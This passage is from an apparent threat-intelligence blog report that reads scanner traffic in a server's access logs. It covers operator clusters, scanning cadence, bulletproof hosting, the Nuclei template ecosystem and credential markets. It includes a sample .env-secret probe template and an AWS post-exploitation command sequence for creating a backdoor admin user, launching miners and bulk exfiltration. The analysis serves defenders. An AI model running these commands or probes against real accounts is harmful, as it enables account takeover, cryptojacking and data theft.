Three patterns surface across all of this. The Mirai source on DigitalOcean and the IIS-6 scanner on Demenin share the same archetype: stock Ubuntu, SSH-only, web ports closed, no rDNS, a throwaway-or-compromised VPS on a legitimate-ish provider that's reachable via abuse@. The KoDDoS-fronted CONNECT-proxy box from Cluster V is the opposite: locked-down, hardened, on a paid bulletproof shop. And the DMZHOST and btcloud.ro clusters from earlier are a third archetype: free-Gmail abuse drop, layered-jurisdiction shell ownership, reputable-sounding netnames carrying scanner traffic. Three different bulletproof tiers in one access log.
Cluster VII: Internet-Research / Census Scanners
A small, low-volume cluster with a distinctive signature: the HTTP method field encodes the target's own IP and port.
MGLNDD_104.207.X.X_443
MGLNDD_104.207.X.X_80
All sources are Microsoft Azure (AS8075). This is internet-wide service-census activity, run by projects that sweep the IPv4 space to map what services are running where. Shodan, Censys, and BinaryEdge populate this category. Some publish their scanner IPs and respect opt-outs. Most do not. The distinction between "research" and "operator" is thinner every year.
Stepping Back:
Those are the seven clusters. Looking at them together, four patterns matter more than any single operator.
Cadence: Each Operator Runs On A Different Clock
Day 0 Romanian Next.js scanner online, slow continuous mode
Day 0 Limited Network NL launches a Laravel + GitFinder pair
Day 2 TLM-Audit-Scanner sweep with a multi-stack dictionary
Day 4 IIS 6.0 WebDAV scanner appears, recurring nearly daily
Day 4 DIGI VPS (Texas) burst at 20:00 UTC
Day 7 01:09 UTC: SoloRDP fires 3,272 requests in a 20-minute window
Day 8 Azure piggyback cluster activates from BR/US/KR
Day 13 01:25 UTC: a DigitalOcean droplet probes for /.env.swp
Day 13 Mirai-typo signature appears from a Linode IP
Halfway through this work I realized I could identify specific operators by rhythm alone, before checking the ASN. That was the moment the traffic stopped looking random. Each operator runs on a clock that maps to one specific operational constraint, and once you know the constraint, the rhythm is recognizable from the access log alone.
SoloRDP is a sprinter. 3,272 requests in 20 minutes, about three per second sustained, then silence for the rest of the month. Their strategy is to finish the wordlist before any rate-limiter notices, accept partial coverage on the targets that throttle them, and move on. The campaign is bounded by wallclock, not by request count.
The Romanian Next.js scanner is the opposite. Two requests per minute, uniform across all 24 hours, for two days. Their strategy is to stay under any SIEM aggregation window long enough to walk the entire victim queue without getting flagged. Bounded by per-target depth instead of wallclock.
The IIS 6.0 WebDAV scanner is what I started thinking of as a tenant. The CVE it's after is six years old, the probe is so cheap to send that someone has it on a daily cron, and it just sort of lives in my access log for a few minutes most days. There is no campaign budget here. It's somebody's nohup job from years ago that nobody bothered to turn off.
The Azure piggyback cluster works in shifts. Brazil, then US, then Korea. Same scanner moving across regions as each VM gets terminated by Azure's abuse team. Effective dwell time on any source IP is hours, not days, so they front-load their wordlist and accept that the tail of it never runs before the VM dies.
Watch the access log for a continuous hour and the rhythm becomes recognizable. Each operator's pacing maps to one operational constraint: budget, infrastructure lifetime, detection threshold, abuse-team responsiveness. Once you read scanner traffic as cadence it stops looking like noise. It looks like a market of seven vendors competing on different SLAs.
The Layered Ecosystem:
There isn't really "the attacker." There are tiers of attacker, each filling a different niche, each living off the others' outputs.
- Exploit researchers. Find vulnerabilities, write proof-of-concept code, publish or sell.
- Initial-access brokers. Run the mass scans that hit my server. Sell the footholds they find.
- Hands-on operators. Buy a foothold, exploit, drop a shell, extract value.
- Piggyback hunters. Wait for the hands-on operators to drop shells, then find and ride them.
- Credential resellers. Take stolen secrets to marketplaces.
- Cloud-burner operators. Rent ephemeral Azure/GCP/AWS VMs as disposable scanner infrastructure.
- Botnet operators. Provide compromised IoT for scan capacity and persistence.
EXPLOIT RESEARCHERS
│
│ publishes / sells PoC
▼
ACCESS BROKERS ◄────── BOTNET OPERATORS
mass scan, sell compromised IoT
footholds provides scan capacity
│
│ sells foothold
▼
HANDS-ON OPERATORS ◄── CLOUD-BURNER OPS
exploit, extract, ephemeral $5 VMs,
drop shell clean reputations
│
│ shell left behind on target
▼
PIGGYBACK HUNTERS
ride other operators'
compromises
│
│ all credentials flow down
▼
CREDENTIAL RESELLERS
Russian Market, 2easy, Telegram ULP
$50 to five figures per credential class
│
│ proceeds fund infrastructure above
└───────────────────────────────►
These tiers coexist because the cost of moving between them is low. An access broker selling footholds for $200 will sell to anyone, including the piggyback hunter who paid $20 to find a shell that someone else's hands-on operator left behind. Currency between tiers is the same thing: cheap probes, asymmetric payoffs, low friction.
How These Operators Seem To Think:
Every cluster in this report is optimizing the same six constraints at once.
- Automation. No human on the per-target path. There is no person reading my logs back. There is a Python script that read my response code.
- Asymmetry. One cheap HTTP request can yield a credential worth four figures. The economics only need one win per ten thousand attempts to be profitable.
- Reusable tooling. Same scanner runs against millions of targets. Building the wordlist is the expensive step. Running it is free.
- Marginal probe cost basically zero. A failed probe costs the same as a successful one.
- Abuse-resistant infrastructure. Bulletproof providers for persistence. Cloud-burners for clean reputation. Each operator picks their side of that tradeoff based on the shape of the campaign.
- Probabilistic payoff. Nobody is targeting me specifically. I'm one row in a four-billion-row spreadsheet, and the operator is filtering for rows that respond interestingly.
Underneath It All: The Nuclei Substrate:
Most of the HTTP-layer scanner traffic on the public internet in 2026 is running on the same piece of software: Nuclei.
Nuclei is an open-source vulnerability scanner from ProjectDiscovery, built as a fast Go-based engine that consumes YAML templates describing how to probe for a given vulnerability or misconfiguration. The engine is free. The template library is community-curated and lives on GitHub. As of mid-2026 there are over 12,000 published templates, covering everything from a decade of CVEs to default-credential checks for common SaaS products. ProjectDiscovery shipped 226 new templates in April 2026 alone, covering 123 CVEs (around ten of them actively exploited at time of release).
A Nuclei template is roughly this shape:
id: env-file-exposure
info:
name: Public .env Disclosure
author: pdteam
severity: high
http:
- method: GET
path:
- "{{BaseURL}}/.env"
- "{{BaseURL}}/.env.local"
- "{{BaseURL}}/.env.production"
matchers:
- type: regex
regex:
- "AWS_SECRET_ACCESS_KEY"
- "STRIPE_SECRET_KEY"
- "DATABASE_URL"
That YAML, plus the Nuclei binary, plus a target list, is a scanner. The barrier from "I read a CVE disclosure" to "I have a working scanner" is roughly an afternoon of YAML. That's the whole industry's cost structure in one sentence.
A few signals in my own logs make the Nuclei substrate directly visible.
The Go-http-client User-Agent appears in my logs 1,905 times across 96 unique source IPs. That's Nuclei's default UA when an operator hasn't bothered to override it. Evasion-focused operators change it (most of the bulletproof-hosted ones I described do), but a meaningful fraction of scanner traffic still ships with the default, which is identifiably Nuclei.
The TLM-Audit-Scanner dictionary from Cluster I (/.wp-config.php.swp, /wp-json/wp/v2/users, /webmin/package-updates/update.cgi, /var/task/nuxt.config.ts, /amplify/team-provider-info.json) maps almost one-to-one onto entries in nuclei-templates/http/exposures/ and nuclei-templates/http/cves/. The operator didn't write that wordlist. They downloaded it.
The Romanian Next.js scanner is almost certainly a custom Nuclei template targeting CVE-2025-29927, layered on top of the standard Nuclei engine, deployed against a bought victim list. The 30-minute pacing, the UA rotation, and the SIEM-aware request shaping are all Nuclei runtime configuration options, not custom code.
Nuclei is the supply side of the bot internet. The templates are the wordlist; the scanner operators are the distribution channel. Bulletproof hosting, cloud-burner VMs, UA rotation, SIEM-aware pacing, victim queues, none of that is the hard part of being a scanner operator in 2026. The hard part has been open-sourced. The whole wordlist for the bot internet lives at github.com/projectdiscovery/nuclei-templates. MIT-licensed, 20k+ stars, accepting PRs.
Which means defending against "the bot internet" in 2026 is really defending against the Nuclei template repository. The artifact is public. Grep it for paths you're exposing. Run Nuclei against your own infrastructure before any operator does. The commoditization that powers industrial-scale scanning makes defensive equivalence trivially cheap. Almost nobody runs it.
Framework Convergence
Every cluster in this report targets the same small handful of frameworks: Next.js, Laravel, Spring Boot, WordPress, .NET, Nuxt, Amplify, Strapi. The Romanian scanner only had to learn six Next.js-internal paths to threaten millions of apps. The TLM-Audit-Scanner dictionary only had to encode a few dozen modern conventions to threaten the entire long tail of self-hosted SaaS. WordPress remains the meta despite being a shrinking fraction of modern traffic, because the install base is still huge and the plugin-vulnerability supply is endless.
Framework convergence makes scanner-tooling investment compound. The same six-path POST sequence works against every Next.js app on the internet. The same phpinfo.php probe works against every PHP server. Predictable internal conventions make the stack easier to learn for the developer and easier to scan for the operator. Fingerprintability is a feature for both sides.
The Greater Trends: AI Scanning and Geopolitics:
Three macro trends sit underneath every cluster in this report. They shape where the ecosystem is going in the next twelve to twenty-four months.
AI is about to compress the CVE-to-scanner loop
The Romanian Next.js scanner is doing what operators have always done: a human read a CVE disclosure, wrote a wordlist, deployed. Six weeks elapsed from CVE-2025-29927 disclosure to scanner-in-production. That lag exists because a human had to write the scanner.
It's about to collapse. OpenAI's Aardvark is an agentic security researcher that continuously analyzes source-code repositories, identifies vulnerabilities, and proposes patches; in benchmark testing it caught 92% of known and synthetically-introduced vulnerabilities. NVIDIA's garak does the same work targeting LLM applications. Google's threat-intel team reported in 2025 that real-world actors are deploying zero-days "believed to be developed with AI." Tactical forecast: the scanners I catch in 2027 will target bugs no human ever publicly disclosed, found by an LLM running continuously over every major OSS framework on GitHub. "Vulnerability exists" to "scanner in production" goes from months to hours. Defenders running the same tooling against their own codebases is the only thing that keeps the gap even.
The supply-side evidence is already in the Nuclei templates I describe below. The April 2026 release shipped detection coverage for over a dozen AI-infrastructure exposures: Langflow RCE, LMDeploy SSRF, Mesop AI Sandbox RCE, Flowise auth bypass on NVIDIA NIM endpoints, ComfyUI-Manager config overwrite, AnythingLLM username enumeration, Marimo RCE, NocoBase sandbox escape, ChromaDB unauthenticated API exposure. Every commercial AI tool with an HTTP control plane is now in scanner-template form. The scanner ecosystem is keeping pace with AI infrastructure deployment, sometimes ahead of it.
The geography of attack infrastructure is in motion
The bulletproof networks in Cluster I are not a stable set. Dutch police seized roughly 250 servers from CrazyRDP in late 2025, a Dutch bulletproof provider that offered no-KYC anonymous VPS and was the recommended infrastructure for 80+ ransomware, botnet, and phishing operations. On March 19, 2026 the DOJ disrupted Aisuru/KimWolf/JackSkid/Mossad C2 with enforcement spanning Canada and Germany. Separate Eurojust-coordinated operations hit hosting infrastructure across France, Germany, Hungary, the Netherlands, Romania, and the U.S. in the same window. Each takedown forces operator relocation.
The relocations show up in my logs as inetnum-versus-route-announcement mismatches. The Romanian Next.js scanner is announced through a Romanian AS but the IPs live in the Netherlands. The TLM-Audit-Scanner operator's whois country code reads as Andorra. The CONNECT-proxy probe IP (89.42.231.X) is Seychelles-registered with a Netherlands inetnum. The IIS-6 WebDAV scanner allocation has a Ukraine country code through an NL allocation.
The pattern is consistent across all four: offshore corporate registration, mainstream European hosting, route announcement from a third jurisdiction. Pick those three independently and no single national subpoena reaches all of them at once. That's the 2026 bulletproof-hosting playbook, and it's visible the moment you start grepping whois. Russia-Ukraine spillover, the Romanian Foreign Ministry DDoS in March 2026, accelerating EU cyber-deterrence posture: those drive volume and politicization on top of the infrastructure layer, but the underlying pattern is the same. Stagger your jurisdictions.
Consumer infrastructure is becoming attack infrastructure
The Limited Network Kerkrade IPs sit inside a netblock with PUREVPN in its netname. The recon above showed that's a legacy artifact: a 2013 ARIN allocation that's been sliced up and sublet by a Romanian bulletproof reseller. The PUREVPN string is residual labeling, not actual operational ownership.
The more interesting story is the same trend in a different shape: the Azure-burner cluster from Cluster II. Spin up a $5 VM, run the wordlist, accept termination by abuse, rotate region. Bulletproof providers haven't gone away; they're shifting toward persistence (long-lived C2, scanner control planes, durable hosting) while front-line outbound scanning runs from cleaner-reputation networks. Every commercial VPN advertising "exit nodes in fifty countries" is also advertising fifty clean-reputation source-IP options to whoever is running a scanner. And every legacy ARIN netblock with a reputable-sounding name attached gets repurposed exactly the way the PUREVPN block has been: name kept, ownership flipped, used as cover. The line between consumer-privacy infrastructure, legacy commercial infrastructure, and attacker source-IP infrastructure is paper-thin in 2026 and getting thinner.
There's a live example of the VPN-exit-as-scanner-source pattern in this same dataset. Two of the top sources of Nuclei's default Go-http-client UA in my logs, 85.203.23.X and 85.203.23.X, sent 1,292 requests combined. Both IPs sit in the /24 85.203.23.0/24, netname SINGAPORE-SG-85-203-23-0, registered to "VPN Consumer Singapore," announcing through AS137409 "GLOBAL-INTERNET-SOLUTIONS-LLC." Every TCP port I tested on these IPs is firewalled inbound: no SSH banner, no HTTP, no TLS, nothing to fingerprint. Classic consumer-VPN-exit posture, the kind of "we only egress" setup that a privacy-focused VPN customer would expect. Somebody routed their Nuclei scanning session through a consumer VPN service's Singapore exit nodes and hit my server twelve hundred times. Same shape as the Azure-burner model: clean reputation outbound, no accountability inbound.
What Happens If One Of These Lands
None of this actually landed on my server. The pipeline matters anyway because it's almost entirely automated, and the post-exploitation tempo is what makes the upstream scanner economics work.
Highest-value direct loot is AWS root keys, which a successful .env probe might yield. From a leaked .env to a running cryptocurrency miner on the victim's AWS account is about eight API calls and completes in under 90 seconds:
trufflehog scan .env → classify "AWS access key"
aws sts get-caller-identity # validate, identify principal
aws iam get-account-summary # measure blast radius
aws iam create-user backupsvc # persistence under an innocuous name
aws iam attach-user-policy ... AdministratorAccess
aws iam create-access-key # long-lived backdoor
aws ec2 run-instances p4d.24xlarge ... # GPU miners
aws s3 sync s3://target/ /local/ # bulk exfil
A working AWS root key wholesales for $200 to $2,000 depending on the victim's monthly spend (the attacker checks via aws ce get-cost-and-usage, which proxies for trust limits and blast radius). Stripe live keys are used to launder money out through attacker-controlled merchant refunds. OpenAI and Anthropic keys get resold to "free AI" wrapper sites for a few days of quota. GitHub Personal Access Tokens with repo scope are the recursive-harvest case: clone every repo the token can read, run trufflehog on the cloned history, surface secrets that were committed and git reset --hard-ed but still live as dangling objects, repeat against any newly-found tokens. JWTs and session cookies replay directly.
The aggregate output sells on marketplaces. Russian Market is the top tier. 2easy is the middle. Telegram ULP channels move dumped infostealer logs in bulk. A banking session cookie sells for $50 to $200. Enterprise SSO cookies (Okta, Azure AD, Duo) fetch thousands. A working Stripe live key with seven-figure monthly volume can clear five figures.
The economics close back on themselves. Post-exploitation funds infrastructure. Infrastructure runs more scanners. Scanners find more targets. Targets yield more credentials. The bot internet is a market, and the products are credentials.
So What
What hits your access log is not random. It's the visible end of a multi-tier industry, and the tradeoffs that industry has made about tooling, infrastructure, pacing, and target selection are all sitting in the request shape if you read it. The Romanian scanner exists because Next.js has a recognizable shape. The piggyback hunters exist because compromise is common enough to be worth parasitizing. Mirai still inherits typos from 2016 because the source still circulates and the exploit list still works.
None of the attacks in this report landed. The standard hardening setup handled them, the way it would on any internet-facing host that bothered to deploy it. That part isn't the story. The story is that there's a working, multi-tier industry sending you intel telemetry every minute of every day, encoded in HTTP request shapes, source ASNs, scanner cadence, and whois mismatches. Reading it costs nothing. Most people don't.